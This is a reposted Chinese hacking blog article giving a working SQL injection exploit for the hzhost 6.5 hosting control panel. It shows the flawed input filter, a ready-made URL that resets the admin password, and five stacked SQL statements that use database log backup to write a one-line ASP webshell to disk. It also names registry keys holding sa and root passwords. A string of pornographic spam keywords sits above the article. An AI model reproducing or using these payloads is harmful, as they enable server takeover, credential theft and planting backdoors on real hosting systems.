日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > windows >内容正文

windows

再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞3

發(fā)布時(shí)間:2023/12/18 windows 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞3 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

作者:叉叉兵

這次繼續(xù)爆hzhost6.5虛擬主機(jī)管理系統(tǒng)的SQL注入漏洞。
只講兩個(gè)要點(diǎn)。
第一,如何拿網(wǎng)站管理員權(quán)限。
第二,如何備份木馬。
這次不是簡單的注射點(diǎn),而是經(jīng)過安全函數(shù)過濾的了點(diǎn)。由于對(duì)方?jīng)]有將變量用單引號(hào)包起來,而過濾函數(shù)又未過濾完全,導(dǎo)致我們有機(jī)會(huì)進(jìn)行注射。

我這次還做了個(gè)動(dòng)畫。一并發(fā)放。希望能讓大家玩得”happy”!哈哈。。。
http://www.xxbing.com QQ178737315

漏洞存在于hzhosthzhost_mastercontrolot2_mngot2_lst.asp文件中!

Code
-------------------------13-15行----------------------------??
querytype
=SafeRequest("querytype")??//saferequest函數(shù)接受數(shù)據(jù)??
if?chk_int(querytype)=false?then??//檢查是否是整數(shù)??
???ErrMsg="<font?color=#ff0000>對(duì)不起</font>,非法操作!"?
-------------------------37-42行---------------------------??
elseif?querytype
=5?then?//如果類型為5。就接受qu1數(shù)據(jù)!??
??qu1=trim(SafeRequest("qu1"))??????//saferequest函數(shù)接受數(shù)據(jù),他自己定義的saferequest函數(shù)!??
????
???
if??qu1=""?then??//不能為空??
????????call?errorpage(-2,"對(duì)不起,請(qǐng)選擇參數(shù)!")??
??end?
if???????????
?????qstring
="?and?s_regstt="&qu1&"?"??//這里是關(guān)鍵??qu1沒有用單引號(hào)包圍,雖然用了saferequest,但是我們可以繞過!??
-------------------------62-65行---------------------------??
qu7
=trim(SafeRequest("qu7"))?//saferequest函數(shù)接受數(shù)據(jù)??
if?qu7<>""?then?
qstring2
="?and?u_nme='"&qu7&"'"?//這里被單引號(hào)包圍了。??這里被包圍了,所以這里成了死點(diǎn)!!??
end?if???
--------------------------117行-----------------------------??
query
="select?*?from?v_ot2lst?where??(s_unme='"&session("usrname")&"'?or?u_fatstr?like?'%,"&session("usrname")&",%')????"&qstring&qstring2&"??order?by?"&orderstring???
//到這里就丟進(jìn)去查詢了!?
?

來看看saferequest()函數(shù)。

Code
------------------incs/config.asp中-------------------------??
Function?SafeRequest(ParaName)???
Dim?ParaValue???
ParaValue
=Request(ParaName)??//獲取數(shù)據(jù)??
if?IsNumeric(ParaValue)??then??//如果是數(shù)字??
SafeRequest=ParaValue??//那就不過濾,直接賦值??
exit?Function?
?
else?
ParaValuetemp
=lcase(ParaValue)????//如果不是數(shù)字,先把接到的數(shù)據(jù)全部轉(zhuǎn)為小寫??
tempvalue="select?|insert?|delete?from|'|count(|drop?table|update?|truncate??|asc(|mid(|char(|xp_cmdshell|exec?master|net?localgroup?administrators|net?user|?or?|?and?|%20from"?
//定義要過濾的字符!??
?
他過濾方式有問題。。。沒有過濾?
*?/?%?/?--?/?;??
而且他過濾的都是select
+空格。我們用select%09或者select/**/便能饒過。??
?
temps
=split(tempvalue,"|")???????????//轉(zhuǎn)為一維數(shù)組??
for?mycount=0?to?ubound(temps)???????//循環(huán)讀數(shù)組內(nèi)數(shù)據(jù)??
if??Instr(ParaValuetemp,temps(mycount))?>?0?then???//判斷用戶提交的數(shù)據(jù)是否包含了?非法字符。??
????????????????call?errorpage(-2,"非法請(qǐng)求!!!")??//如果有則彈出提示!!??
????????????????response.end?
end?
if??
next?
SafeRequest
=ParaValue??
end?
if??
End?function?
-------------------------------------?
?

所以我們構(gòu)造注射點(diǎn)的思路就是:不能出現(xiàn)單引號(hào),update,select等等兩邊都要用%09(tab)..仔細(xì)看清楚。上面過濾的是update+空格。select+空格。
先給出查詢語句的框架。

Code
select?*?from?v_ot2lst?where??(s_unme='username'?or?u_fatstr?like?'%,username,%')?and?s_regstt={我們的語句}?and?u_nme='1'?order?by?s_addtme?desc?
?

為了使語句順利執(zhí)行:
我們還要閉合后面的語句。我沒有選擇注釋掉 and u_nme=’1′ order by s_addtme desc而是閉合他,是因?yàn)樽⑨尯?#xff0c;實(shí)際查詢出錯(cuò)了。
這里我給出條示范語句,即{我們的語句}

Code
UPDATE%09[memlst]?SET?u_pss=0x6531306164633339343962613539616262653536653035376632306638383365?WHERE?u_nme=0x61646D696E?
?

這條語句能夠繞過saferequest函數(shù)的檢測(cè)。沒有出現(xiàn)單引號(hào)。
我們提交:

Code
http://www.xxxxxx.com/control/ot2_mng/ot2_lst.asp?querytype=5&qu7=1&ordernum=32&qu1=1;UPDATE%09[memlst]?SET?u_pss=0x6531306164633339343962613539616262653536653035376632306638383365?WHERE?u_nme=0x61646D696E;select%09*%09from%09v_ot2lst?where?s_regstt=1;select%09*%09from%09v_ot2lst?where?s_regstt=1?
?

這句話就能夠?qū)dmin的密碼修改成123456
到此第一個(gè)目的就達(dá)到了。如果admin不是超級(jí)管理員。那么請(qǐng)看《HZHOST域名虛擬主機(jī)管理系統(tǒng)sql注射漏洞》中所提到的方法。相關(guān)語句請(qǐng)自己轉(zhuǎn)換。
第二步是要備份掛馬。
大家看動(dòng)畫中的備馬這么簡單,當(dāng)初難了我老半天。saferequest過濾了char(
導(dǎo)致備馬的這條語句失敗。

  • declare?@a?sysname,@s?varchar(4000)?select?@a=db_name(),@s=。。。。。。。。。?
  • 有人給我建議改成 @s ntext 等等,換類型都不行。因?yàn)槲覀儾迦氲囊痪湓捘抉R已經(jīng)固定了數(shù)據(jù)類型。。
    由于mssql的寬松性。我把varchar(40000)中加了個(gè)空格。并把空格替換成%09成為 varchar%09(4000),也是可以的。這樣我們就饒過了char(
    接下來放出詳細(xì)語句。大家放入{我們的語句中}

    Code
    第?一?步:??
    create?table?[dbo].[shit_tmp]?([cmd]?[image])--??
    第?二?步??
    declare?@a?sysname,@s?nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500?backup?log?@a?to?disk?=?@s?with?init,no_truncate--??
    第?三?步??
    insert%09into%09[shit_tmp](cmd)?values(0x3C25657865637574652872657175657374282261222929253E)--??
    第?四?步??
    declare?@a?sysname,@s?nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000?backup?log?@a?to?disk=@s--??
    第?五?步??
    Drop?table?[shit_tmp]--?
    ?

    上面5句語句是在d:/hzhost/hzhost_master/下生成一個(gè)1.asp。里面包含了一個(gè)密碼為a的一句話木馬。
    一般來說,我們就能拿到webshell. 至于拿webshell后,如何取得系統(tǒng)權(quán)限。
    請(qǐng)看《對(duì)HZHOST域名虛擬主機(jī)管理系統(tǒng)sql注射漏洞進(jìn)一步利用!》

    最后是答疑部分:
    1:這次是get注射,不像上次是post注射。由于沒有文本框字符的限制,所以不需要保存網(wǎng)頁到本地。

    2:123456的md5(32)值為e10adc3949ba59abbe56e057f20f883e 用mssql 16進(jìn)制轉(zhuǎn)換后,成為

    Code
    0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
    ?

    這是轉(zhuǎn)為nvarchar型的,我們直接更新這個(gè)值。會(huì)導(dǎo)致被更新用戶的密碼為亂碼。所以我們要轉(zhuǎn)成varchar型的。即:
    0×6531306164633339343962613539616262653536653035376632306638383365
    大家仔細(xì)觀察,會(huì)發(fā)現(xiàn),其實(shí)只是去掉了一些00。。
    所以大家在轉(zhuǎn)換其他md5的時(shí)候,注意此問題。

    3:讀sa密碼,root密碼。我們讀的是加密了的。還原必須在本機(jī),每臺(tái)hzhost主機(jī)都有自己的密鑰,密鑰參與到加密過程。這是導(dǎo)致A主機(jī)不能還原B主機(jī)密碼的原因。
    另 hzhost虛擬主機(jī)平臺(tái)的所有dll文件。還有一些注冊(cè)表值我都已取得。有會(huì)逆向分析的高手,能做出還原密碼程序的高手請(qǐng)聯(lián)系我。我很希望把他的加密方式弄出來。

    4:備馬的問題,備份成功后,可能出現(xiàn)亂碼,是由于截?cái)嗔说脑?#xff0c;大家用NBSI3。去掉2個(gè)截?cái)嗟墓?#xff0c;再生成語句執(zhí)行就行了。
    有的服務(wù)器可能在備馬的過程中出現(xiàn)SQL過期,超時(shí)。遇到這樣的是對(duì)方數(shù)據(jù)庫很大,這我也沒辦法。我沒能找出一個(gè)比較好的解決方案。大家自己研究吧。

    5:hzhost其實(shí)不只這一個(gè)注射點(diǎn),沒被單引號(hào)包圍的變量還有一些。大家自己去找吧。我只是拿出一個(gè)來分析。

    6:sa密碼。root密碼。
    HKEY_LOCAL_MACHINEsoftwarehzhostconfigsettings
    mysqlpass—root密碼
    mssqlpss—-sa密碼

    7.如果路徑不在D:/hzhost
    那么就是你人品問題!進(jìn)后臺(tái)找找普通用戶FTP/web的路徑,也許會(huì)有些用。
    或者去讀注冊(cè)表。
    HKEY_LOCAL_MACHINEsoftwarehzhostconfigsettings 下
    “wwwrootpath”=”e:\wwwroot”
    “urlsiteroot”=”D:\hzhost\hzhost_url”
    “ftprootpath”=”e:\ftproot” 可以看出什么? 絕對(duì)路徑放在注冊(cè)表中。把注冊(cè)表中的值更新到某個(gè)字段,再去讀就行了。(比如用戶e-mail中。。)
    大家自己去試。我沒有碰到不在D盤的hzhost.。只是個(gè)思路!

    ?

    轉(zhuǎn)載于:https://www.cnblogs.com/liuyes/archive/2009/01/13/1374977.html

    總結(jié)

    以上是生活随笔為你收集整理的再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞3的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。